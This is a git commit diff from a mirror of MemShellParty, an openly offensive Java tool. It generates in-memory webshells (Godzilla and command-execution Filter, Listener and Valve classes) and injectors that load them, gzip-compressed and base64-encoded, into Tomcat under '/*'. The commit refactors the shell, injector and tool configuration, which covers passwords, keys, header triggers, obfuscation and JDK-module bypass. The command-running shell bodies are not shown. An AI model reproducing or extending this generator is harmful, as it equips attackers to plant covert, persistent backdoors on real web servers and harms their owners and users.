mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
refactor: separate generate config
This commit is contained in:
@@ -1,13 +1,10 @@
|
||||
package com.reajason.javaweb;
|
||||
|
||||
import com.reajason.javaweb.config.*;
|
||||
import com.reajason.javaweb.memsell.packer.JspPacker;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -15,34 +12,27 @@ import java.nio.file.Paths;
|
||||
*/
|
||||
public class GeneratorMain {
|
||||
public static void main(String[] args) throws IOException {
|
||||
Server server = Server.TOMCAT;
|
||||
ShellTool shellTool = ShellTool.Godzilla;
|
||||
String shellType = TomcatShell.JAKARTA_FILTER;
|
||||
GodzillaShellConfig shellConfig = GodzillaShellConfig.builder()
|
||||
.pass("passFilter")
|
||||
.key("keyFilter")
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(Server.TOMCAT)
|
||||
.shellTool(ShellTool.Godzilla)
|
||||
.shellType(TomcatShell.LISTENER).build();
|
||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||
.pass("pass123")
|
||||
.key("key123")
|
||||
.headerName("User-Agent")
|
||||
.headerValue("test")
|
||||
.build();
|
||||
GenerateResult generateResult = generate(server, shellTool, shellType, shellConfig, Opcodes.V11);
|
||||
if (generateResult != null) {
|
||||
String shellBytesBase64Str = generateResult.getShellBytesBase64Str();
|
||||
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
||||
Files.write(Paths.get(shellConfig.getShellClassName() + ".class"), generateResult.getShellBytes());
|
||||
System.out.println(shellConfig.getShellClassName() + " : " + shellBytesBase64Str);
|
||||
System.out.println(shellConfig.getInjectorClassName() + " : " + injectorBytesBase64Str);
|
||||
System.out.println(shellConfig);
|
||||
Files.write(Paths.get(shellConfig.getInjectorClassName() + ".class"), generateResult.getInjectorBytes());
|
||||
JspPacker jspPacker = new JspPacker();
|
||||
String jspContent = new String(jspPacker.pack(generateResult));
|
||||
System.out.println(jspContent);
|
||||
|
||||
byte[] bytes = generate(shellConfig, new InjectorConfig(), godzillaConfig, Packer.INSTANCE.ScriptEngine);
|
||||
if (bytes != null) {
|
||||
System.out.println(new String(bytes));
|
||||
}
|
||||
}
|
||||
|
||||
public static GenerateResult generate(Server server, ShellTool shellTool, String shellType, ShellConfig shellConfig, int targetJdkVersion) {
|
||||
switch (server) {
|
||||
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
|
||||
switch (shellConfig.getServer()) {
|
||||
case TOMCAT:
|
||||
return TomcatShell.generate(shellTool, shellType, shellConfig, targetJdkVersion);
|
||||
return TomcatShell.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||
case BES:
|
||||
break;
|
||||
case RESIN:
|
||||
@@ -52,6 +42,14 @@ public class GeneratorMain {
|
||||
default:
|
||||
throw new IllegalArgumentException("Unsupported server");
|
||||
}
|
||||
return GenerateResult.builder().build();
|
||||
return null;
|
||||
}
|
||||
|
||||
public static byte[] generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packer.INSTANCE packerInstance) {
|
||||
GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig);
|
||||
if (generateResult != null) {
|
||||
return packerInstance.getPacker().pack(generateResult);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
+1
-1
@@ -12,7 +12,7 @@ import lombok.experimental.SuperBuilder;
|
||||
@Getter
|
||||
@SuperBuilder
|
||||
@ToString
|
||||
public class CommandShellConfig extends ShellConfig {
|
||||
public class CommandConfig extends ShellToolConfig {
|
||||
@Builder.Default
|
||||
private String paramName = "cmd";
|
||||
}
|
||||
@@ -9,7 +9,7 @@ import org.apache.commons.codec.binary.Base64;
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
@Data
|
||||
@Builder
|
||||
@Builder(builderClassName = "GenerateResultBuilder")
|
||||
public class GenerateResult {
|
||||
private String shellClassName;
|
||||
private transient byte[] shellBytes;
|
||||
@@ -18,10 +18,19 @@ public class GenerateResult {
|
||||
private transient byte[] injectorBytes;
|
||||
private String injectorBytesBase64Str;
|
||||
private ShellConfig shellConfig;
|
||||
private ShellToolConfig shellToolConfig;
|
||||
private InjectorConfig injectorConfig;
|
||||
|
||||
public GenerateResult encodeBase64() {
|
||||
this.shellBytesBase64Str = Base64.encodeBase64String(shellBytes);
|
||||
this.injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes);
|
||||
return this;
|
||||
public static class GenerateResultBuilder {
|
||||
public GenerateResult build() {
|
||||
if (shellBytes != null) {
|
||||
shellBytesBase64Str = Base64.encodeBase64String(shellBytes);
|
||||
}
|
||||
if (injectorBytes != null) {
|
||||
injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes);
|
||||
}
|
||||
return new GenerateResult(shellClassName, shellBytes, shellBytesBase64Str,
|
||||
injectorClassName, injectorBytes, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+2
-2
@@ -13,7 +13,7 @@ import lombok.experimental.SuperBuilder;
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
@ToString
|
||||
public class GodzillaShellConfig extends ShellConfig {
|
||||
public class GodzillaConfig extends ShellToolConfig {
|
||||
@Builder.Default
|
||||
private String pass = "pass";
|
||||
@Builder.Default
|
||||
@@ -22,4 +22,4 @@ public class GodzillaShellConfig extends ShellConfig {
|
||||
private String headerName = "User-Agent";
|
||||
@Builder.Default
|
||||
private String headerValue = CommonUtil.getRandomString(8);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
package com.reajason.javaweb.config;
|
||||
|
||||
import com.reajason.javaweb.util.CommonUtil;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/5
|
||||
*/
|
||||
@Data
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
@Builder(toBuilder = true)
|
||||
public class InjectorConfig {
|
||||
/**
|
||||
* 注入器模板类
|
||||
*/
|
||||
private Class<?> injectorClass;
|
||||
/**
|
||||
* 注入器类名
|
||||
*/
|
||||
@Builder.Default
|
||||
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
||||
|
||||
/**
|
||||
* 注入访问的地址
|
||||
*/
|
||||
@Builder.Default
|
||||
private String urlPattern = "/*";
|
||||
|
||||
/**
|
||||
* 内存马类名
|
||||
*/
|
||||
private String shellClassName;
|
||||
|
||||
/**
|
||||
* 内存马类字节
|
||||
*/
|
||||
private byte[] shellClassBytes;
|
||||
}
|
||||
@@ -1,28 +1,60 @@
|
||||
package com.reajason.javaweb.config;
|
||||
|
||||
import com.reajason.javaweb.util.CommonUtil;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
* @since 2024/12/6
|
||||
*/
|
||||
@Data
|
||||
@SuperBuilder
|
||||
@NoArgsConstructor
|
||||
@Builder
|
||||
@AllArgsConstructor
|
||||
@NoArgsConstructor
|
||||
public class ShellConfig {
|
||||
@Builder.Default
|
||||
private String shellClassName = CommonUtil.generateShellClassName();
|
||||
@Builder.Default
|
||||
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
||||
@Builder.Default
|
||||
private String urlPattern = "/*";
|
||||
/**
|
||||
* 目标服务类型
|
||||
*/
|
||||
Server server;
|
||||
|
||||
/**
|
||||
* 内存马功能
|
||||
*/
|
||||
ShellTool shellTool;
|
||||
|
||||
/**
|
||||
* 内存马类型
|
||||
*/
|
||||
String shellType;
|
||||
|
||||
/**
|
||||
* 生成类的目标 JDK 版本
|
||||
*/
|
||||
@Builder.Default
|
||||
private int targetJdkVersion = Constants.DEFAULT_VERSION;
|
||||
}
|
||||
|
||||
/**
|
||||
* 是否开启混淆
|
||||
*/
|
||||
@Builder.Default
|
||||
private boolean obfuscate = false;
|
||||
|
||||
/**
|
||||
* 是否开启调试
|
||||
*/
|
||||
@Builder.Default
|
||||
private boolean debug = false;
|
||||
|
||||
|
||||
public boolean isJakarta() {
|
||||
return StringUtils.containsIgnoreCase(shellType, "jakarta");
|
||||
}
|
||||
|
||||
public boolean needByPassJdkModule() {
|
||||
return targetJdkVersion >= Opcodes.V9;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
package com.reajason.javaweb.config;
|
||||
|
||||
import com.reajason.javaweb.util.CommonUtil;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
@Data
|
||||
@SuperBuilder
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
public class ShellToolConfig {
|
||||
/**
|
||||
* 模板类 shellClass
|
||||
*/
|
||||
private Class<?> clazz;
|
||||
|
||||
/**
|
||||
* shellClass 的类名
|
||||
*/
|
||||
@Builder.Default
|
||||
private String className = CommonUtil.generateShellClassName();
|
||||
}
|
||||
@@ -1,14 +1,14 @@
|
||||
package com.reajason.javaweb.memsell;
|
||||
|
||||
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.config.CommandConfig;
|
||||
import com.reajason.javaweb.config.ShellConfig;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FieldAccessor;
|
||||
import net.bytebuddy.implementation.Implementation;
|
||||
import net.bytebuddy.implementation.SuperMethodCall;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
|
||||
/**
|
||||
@@ -17,15 +17,19 @@ import net.bytebuddy.matcher.ElementMatchers;
|
||||
*/
|
||||
public class CommandGenerator {
|
||||
|
||||
public static byte[] generate(Class<?> commandClass, String commandClassName, String paramName, boolean useJakarta, int targetJdkVersion) {
|
||||
public static byte[] generate(ShellConfig config, CommandConfig shellConfig) {
|
||||
if (shellConfig.getClazz() == null) {
|
||||
throw new IllegalArgumentException("shellConfig.getClazz() == null");
|
||||
}
|
||||
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
|
||||
.andThen(FieldAccessor.ofField("paramName").setsValue(paramName));
|
||||
.andThen(FieldAccessor.ofField("paramName").setsValue(shellConfig.getParamName()));
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(commandClass)
|
||||
.name(commandClassName)
|
||||
.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion))
|
||||
.redefine(shellConfig.getClazz())
|
||||
.name(shellConfig.getClassName())
|
||||
.visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion()))
|
||||
.constructor(ElementMatchers.any()).intercept(fieldSets);
|
||||
if (useJakarta) {
|
||||
|
||||
if (config.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
|
||||
|
||||
@@ -2,11 +2,11 @@ package com.reajason.javaweb.memsell;
|
||||
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.GodzillaConfig;
|
||||
import com.reajason.javaweb.config.ShellConfig;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FieldAccessor;
|
||||
import net.bytebuddy.implementation.Implementation;
|
||||
import net.bytebuddy.implementation.SuperMethodCall;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
import org.apache.commons.codec.digest.DigestUtils;
|
||||
@@ -16,34 +16,29 @@ import org.apache.commons.codec.digest.DigestUtils;
|
||||
* @since 2024/11/23
|
||||
*/
|
||||
public class GodzillaGenerator {
|
||||
public static byte[] generate(ShellConfig config, GodzillaConfig shellConfig) {
|
||||
if (shellConfig.getClazz() == null) {
|
||||
throw new IllegalArgumentException("shellConfig.getClazz() == null");
|
||||
}
|
||||
String md5Key = DigestUtils.md5Hex(shellConfig.getKey()).substring(0, 16);
|
||||
String md5 = DigestUtils.md5Hex(shellConfig.getPass() + md5Key).toUpperCase();
|
||||
|
||||
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName,
|
||||
String pass, String key,
|
||||
String headerName, String headerValue) {
|
||||
return generate(godzillaClass, godzillaClassName, pass, key, headerName, headerValue, false, Constants.DEFAULT_VERSION);
|
||||
}
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(shellConfig.getClazz())
|
||||
.name(shellConfig.getClassName())
|
||||
.visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion()))
|
||||
.constructor(ElementMatchers.any())
|
||||
.intercept(SuperMethodCall.INSTANCE
|
||||
.andThen(FieldAccessor.ofField("pass").setsValue(shellConfig.getPass()))
|
||||
.andThen(FieldAccessor.ofField("key").setsValue(md5Key))
|
||||
.andThen(FieldAccessor.ofField("md5").setsValue(md5))
|
||||
.andThen(FieldAccessor.ofField("headerName").setsValue(shellConfig.getHeaderName()))
|
||||
.andThen(FieldAccessor.ofField("headerValue").setsValue(shellConfig.getHeaderValue())));
|
||||
|
||||
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue, boolean useJakarta, int targetJdkVersion) {
|
||||
String md5Key = DigestUtils.md5Hex(key).substring(0, 16);
|
||||
String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase();
|
||||
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
|
||||
.andThen(FieldAccessor.ofField("pass").setsValue(pass))
|
||||
.andThen(FieldAccessor.ofField("key").setsValue(md5Key))
|
||||
.andThen(FieldAccessor.ofField("md5").setsValue(md5))
|
||||
.andThen(FieldAccessor.ofField("headerName").setsValue(headerName))
|
||||
.andThen(FieldAccessor.ofField("headerValue").setsValue(headerValue));
|
||||
|
||||
DynamicType.Builder<?> builder = new ByteBuddy().redefine(godzillaClass)
|
||||
.name(godzillaClassName);
|
||||
|
||||
builder = builder.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion));
|
||||
|
||||
if (useJakarta) {
|
||||
if (config.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
|
||||
builder = builder.constructor(ElementMatchers.any()).intercept(fieldSets);
|
||||
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return make.getBytes();
|
||||
}
|
||||
|
||||
@@ -3,6 +3,8 @@ package com.reajason.javaweb.memsell;
|
||||
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
|
||||
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.InjectorConfig;
|
||||
import com.reajason.javaweb.config.ShellConfig;
|
||||
import com.reajason.javaweb.util.CommonUtil;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
@@ -22,21 +24,19 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
public class InjectorGenerator {
|
||||
|
||||
@SneakyThrows
|
||||
public static byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern) {
|
||||
return generate(injectClass, injectClassName, shellClassName, shellBytes, urlPattern, Constants.DEFAULT_VERSION);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern, int targetJdkVersion) {
|
||||
String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), "");;
|
||||
public static byte[] generate(ShellConfig config, InjectorConfig injectorConfig) {
|
||||
String base64String = Base64.encodeBase64String(
|
||||
CommonUtil.gzipCompress(injectorConfig.getShellClassBytes()))
|
||||
.replace(System.lineSeparator(), "");
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(injectClass)
|
||||
.name(injectClassName)
|
||||
.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion))
|
||||
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(urlPattern, "")))
|
||||
.redefine(injectorConfig.getInjectorClass())
|
||||
.name(injectorConfig.getInjectorClassName())
|
||||
.visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion()))
|
||||
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*")))
|
||||
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
||||
.method(named("getClassName")).intercept(FixedValue.value(shellClassName));
|
||||
if (targetJdkVersion >= Opcodes.V9) {
|
||||
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
||||
|
||||
if (config.needByPassJdkModule()) {
|
||||
builder = ByPassJdkModuleInterceptor.extend(builder);
|
||||
}
|
||||
|
||||
@@ -44,4 +44,4 @@ public class InjectorGenerator {
|
||||
return make.getBytes();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -13,7 +13,6 @@ import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memsell.tomcat.injector.TomcatFilterInjector;
|
||||
import com.reajason.javaweb.memsell.tomcat.injector.TomcatListenerInjector;
|
||||
import com.reajason.javaweb.memsell.tomcat.injector.TomcatValveInjector;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.HashMap;
|
||||
@@ -66,55 +65,48 @@ public class TomcatShell {
|
||||
COMMAND_SHELL_MAP.put(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static GenerateResult generate(ShellTool shellTool, String shellType, ShellConfig shellConfig, int targetJdkVersion) {
|
||||
if (shellTool == null || shellType == null || shellConfig == null) {
|
||||
throw new IllegalArgumentException("Invalid arguments: shellTool, shellType, and shellConfig cannot be null.");
|
||||
}
|
||||
Pair<Class<?>, Class<?>> classPair;
|
||||
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
|
||||
Class<?> injectorClass = injectorConfig.getInjectorClass();
|
||||
byte[] shellBytes;
|
||||
boolean useJakarta = shellType.startsWith(JAKARTA);
|
||||
switch (shellTool) {
|
||||
switch (shellConfig.getShellTool()) {
|
||||
case Godzilla: {
|
||||
classPair = GODZILLA_SHELL_MAP.get(shellType);
|
||||
GodzillaShellConfig godzillaConfig = (GodzillaShellConfig) shellConfig;
|
||||
shellBytes = GodzillaGenerator.generate(classPair.getLeft(),
|
||||
godzillaConfig.getShellClassName(),
|
||||
godzillaConfig.getPass(),
|
||||
godzillaConfig.getKey(),
|
||||
godzillaConfig.getHeaderName(),
|
||||
godzillaConfig.getHeaderValue(),
|
||||
useJakarta,
|
||||
targetJdkVersion
|
||||
);
|
||||
Pair<Class<?>, Class<?>> classPair = GODZILLA_SHELL_MAP.get(shellConfig.getShellType());
|
||||
if (injectorClass == null) {
|
||||
injectorClass = classPair.getRight();
|
||||
}
|
||||
shellToolConfig.setClazz(classPair.getLeft());
|
||||
shellBytes = GodzillaGenerator.generate(shellConfig, (GodzillaConfig) shellToolConfig);
|
||||
break;
|
||||
}
|
||||
case Command: {
|
||||
classPair = COMMAND_SHELL_MAP.get(shellType);
|
||||
CommandShellConfig commandConfig = (CommandShellConfig) shellConfig;
|
||||
shellBytes = CommandGenerator.generate(classPair.getLeft(),
|
||||
commandConfig.getShellClassName(),
|
||||
commandConfig.getParamName(), useJakarta, targetJdkVersion);
|
||||
Pair<Class<?>, Class<?>> classPair = COMMAND_SHELL_MAP.get(shellConfig.getShellType());
|
||||
if (injectorClass == null) {
|
||||
injectorClass = classPair.getRight();
|
||||
}
|
||||
shellToolConfig.setClazz(classPair.getLeft());
|
||||
shellBytes = CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
|
||||
break;
|
||||
}
|
||||
default:
|
||||
throw new UnsupportedOperationException("Unknown shell tool: " + shellTool);
|
||||
throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
|
||||
}
|
||||
|
||||
Class<?> injectorClass = classPair.getRight();
|
||||
byte[] injectorBytes = InjectorGenerator.generate(injectorClass,
|
||||
shellConfig.getInjectorClassName(),
|
||||
shellConfig.getShellClassName(),
|
||||
shellBytes,
|
||||
shellConfig.getUrlPattern(),
|
||||
targetJdkVersion);
|
||||
injectorConfig = injectorConfig
|
||||
.toBuilder()
|
||||
.injectorClass(injectorClass)
|
||||
.shellClassName(shellToolConfig.getClassName())
|
||||
.shellClassBytes(shellBytes).build();
|
||||
|
||||
byte[] injectorBytes = InjectorGenerator.generate(shellConfig, injectorConfig);
|
||||
|
||||
return GenerateResult.builder()
|
||||
.shellClassName(shellConfig.getShellClassName())
|
||||
.shellBytes(shellBytes)
|
||||
.injectorClassName(shellConfig.getInjectorClassName())
|
||||
.injectorBytes(injectorBytes)
|
||||
.shellConfig(shellConfig)
|
||||
.build().encodeBase64();
|
||||
.shellToolConfig(shellToolConfig)
|
||||
.injectorConfig(injectorConfig)
|
||||
.shellClassName(shellToolConfig.getClassName())
|
||||
.shellBytes(shellBytes)
|
||||
.injectorClassName(injectorClass.getName())
|
||||
.injectorBytes(injectorBytes)
|
||||
.build();
|
||||
}
|
||||
}
|
||||
+1
-1
@@ -11,7 +11,7 @@ import java.io.InputStream;
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
public class CommandFilter implements Filter {
|
||||
public String paramName;
|
||||
public String paramName = "{{paramName}}";
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
|
||||
+1
-1
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class CommandListener implements ServletRequestListener {
|
||||
public String paramName;
|
||||
public String paramName = "{{paramName}}";
|
||||
|
||||
public CommandListener() {
|
||||
}
|
||||
|
||||
+1
-1
@@ -15,7 +15,7 @@ import java.io.InputStream;
|
||||
public class CommandValve implements Valve {
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
public String paramName;
|
||||
public String paramName = "{{paramName}}";
|
||||
|
||||
public CommandValve() {
|
||||
}
|
||||
|
||||
+5
-5
@@ -13,11 +13,11 @@ import java.io.IOException;
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaFilter extends ClassLoader implements Filter {
|
||||
public String key;
|
||||
public String pass;
|
||||
public String md5;
|
||||
public String headerName;
|
||||
public String headerValue;
|
||||
public String key = "{{key}}";
|
||||
public String pass = "{{pass}}";
|
||||
public String md5 = "{{md5}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
|
||||
public GodzillaFilter() {
|
||||
}
|
||||
|
||||
+5
-5
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
|
||||
public String md5;
|
||||
public String pass;
|
||||
public String key;
|
||||
public String headerName;
|
||||
public String headerValue;
|
||||
public String key = "{{key}}";
|
||||
public String pass = "{{pass}}";
|
||||
public String md5 = "{{md5}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
|
||||
public GodzillaListener() {
|
||||
}
|
||||
|
||||
+5
-5
@@ -17,11 +17,11 @@ import java.io.IOException;
|
||||
public class GodzillaValve extends ClassLoader implements Valve {
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
public String key;
|
||||
public String pass;
|
||||
public String headerName;
|
||||
public String headerValue;
|
||||
public String md5;
|
||||
public String key = "{{key}}";
|
||||
public String pass = "{{pass}}";
|
||||
public String md5 = "{{md5}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
|
||||
public GodzillaValve() {
|
||||
}
|
||||
|
||||
+3
-3
@@ -37,15 +37,15 @@ public class TomcatFilterInjector {
|
||||
}
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "/*";
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "";
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
|
||||
+2
-2
@@ -22,11 +22,11 @@ import java.util.zip.GZIPInputStream;
|
||||
public class TomcatListenerInjector {
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "";
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
static {
|
||||
|
||||
+2
-8
@@ -22,20 +22,14 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class TomcatValveInjector {
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "/*";
|
||||
}
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "";
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
|
||||
static {
|
||||
new TomcatValveInjector();
|
||||
}
|
||||
|
||||
@@ -17,6 +17,7 @@ public class ClassUtils {
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
@SuppressWarnings("deprecation")
|
||||
public static Object newInstance(byte[] bytes) {
|
||||
Class<?> clazz = defineClass(bytes);
|
||||
return clazz.newInstance();
|
||||
|
||||
@@ -0,0 +1,19 @@
|
||||
package com.reajason.javaweb.config;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/5
|
||||
*/
|
||||
class GodzillaShellConfigTest {
|
||||
|
||||
@Test
|
||||
void test() {
|
||||
GodzillaConfig shellConfig = GodzillaConfig.builder()
|
||||
.pass("pass").build();
|
||||
assertEquals("key", shellConfig.getKey());
|
||||
}
|
||||
}
|
||||
@@ -1,33 +0,0 @@
|
||||
package com.reajason.javaweb.memsell;
|
||||
|
||||
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.util.ClassUtils;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
import org.junit.jupiter.api.Disabled;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/23
|
||||
*/
|
||||
class GodzillaGeneratorTest {
|
||||
String pass = "pass";
|
||||
String key = "key";
|
||||
String headerName = "User-Agent";
|
||||
String headerValue = "test";
|
||||
|
||||
@Test
|
||||
@Disabled("just for generate")
|
||||
void testGenerate() throws IOException {
|
||||
String className = "org.apache.utils.CommonFilter";
|
||||
byte[] bytes = GodzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue);
|
||||
IOUtils.write(bytes, Files.newOutputStream(Paths.get("CommonFilter.class")));
|
||||
}
|
||||
}
|
||||
+29
-11
@@ -1,12 +1,17 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.command;
|
||||
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.CommandConfig;
|
||||
import com.reajason.javaweb.config.ShellConfig;
|
||||
import com.reajason.javaweb.memsell.CommandGenerator;
|
||||
import com.reajason.javaweb.util.ClassUtils;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -14,14 +19,27 @@ import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
